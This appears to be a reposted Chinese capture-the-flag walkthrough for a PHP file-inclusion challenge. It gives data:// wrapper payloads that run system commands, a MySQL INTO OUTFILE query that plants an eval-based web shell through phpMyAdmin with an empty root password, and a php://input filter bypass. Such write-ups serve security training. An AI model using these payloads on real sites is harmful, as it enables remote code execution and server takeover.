攻防世界-Web_php_include
2021/10/10 17:16:03
本文主要是介绍攻防世界-Web_php_include,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
打开网页
这个网页会显示变量hello的值,,并且执行变量page中的内容,并且还会替换掉page变量中的php://
方法一
因为php://被过滤了,所以要用其他的伪协议,比如data://
所以构造payload
?page=data://text/plain,<?system('ls -l')?>
得到了flag文件的名称
于是构造payload得到flag内容
?page=data://text/plain,<?system('cat fl4gisisish3r3.php')?>
查看源码得到flag
方法二
通过御剑扫描后台得到
该网站存在phpmyadmin,使用root,密码为空进入后台
输入一句话木马
select "<?php eval(@$_POST['flag']); ?>" into outfile '/tmp/test.php'
用蚁剑连接
即可得到flag
方法三
可以用Php://input绕过过滤,然后在包内添加php命令得到flag
这篇关于攻防世界-Web_php_include的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-09-28怎么把PHP程序打包?-icode9专业技术文章分享
- 2024-09-28怎么用Phar打包PHP程序?-icode9专业技术文章分享
- 2024-09-13手动在github上下载的mfpt包,怎么放到thinkphp5.0框架并正常使用-icode9专业技术文章分享
- 2024-09-05python的<class 'bytearray'>相当于php的哪个数据类型-icode9专业技术文章分享
- 2024-09-05php 导出银行卡号避免科学技术法的方法-icode9专业技术文章分享
- 2024-08-30什么样的php代码质量差被称为垃圾代码-icode9专业技术文章分享
- 2024-08-30用 PHP 调用拼多多的接口以获取订单状态消息的步骤方法和代码示例-icode9专业技术文章分享
- 2024-08-27phpunit单元测试框架的入门和使用方法介绍-icode9专业技术文章分享
- 2024-08-24PHP 中date("w") 周一是多少-icode9专业技术文章分享
- 2024-08-14thinkphp8.0获取域名或主机名方法-icode9专业技术文章分享